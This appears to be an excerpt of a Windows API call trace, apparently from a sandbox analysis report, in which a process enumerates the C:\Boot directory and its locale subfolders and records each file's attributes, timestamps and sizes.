	[0061.233] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0061.234] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0061.234] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0061.234] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0061.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.234] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0570
	[0061.234] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.235] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.235] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.235] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0061.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.235] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0061.235] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0061.235] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0061.235] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0061.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.236] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0970
	[0061.236] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.236] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.237] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.238] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.238] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0061.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.238] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0061.238] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.238] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e04b0
	[0061.239] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.239] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.239] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.241] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.241] FindClose (in: hFindFile=0x5e04b0 | out: hFindFile=0x5e04b0) returned 1
	[0061.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.242] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0061.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.242] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0870
	[0061.242] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.242] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.242] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.243] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.243] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0061.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.243] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0061.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.243] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0630
	[0061.245] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.245] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.245] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0061.245] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0061.245] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0061.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.245] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0061.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.246] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0930
	[0061.247] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.247] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.247] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.247] FindClose (in: hFindFile=0x5e0930 | out: hFindFile=0x5e0930) returned 1
	[0061.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.248] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0061.248] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.248] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09b0
	[0061.248] FindNextFileW (in: hFindFile=0x5e09b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
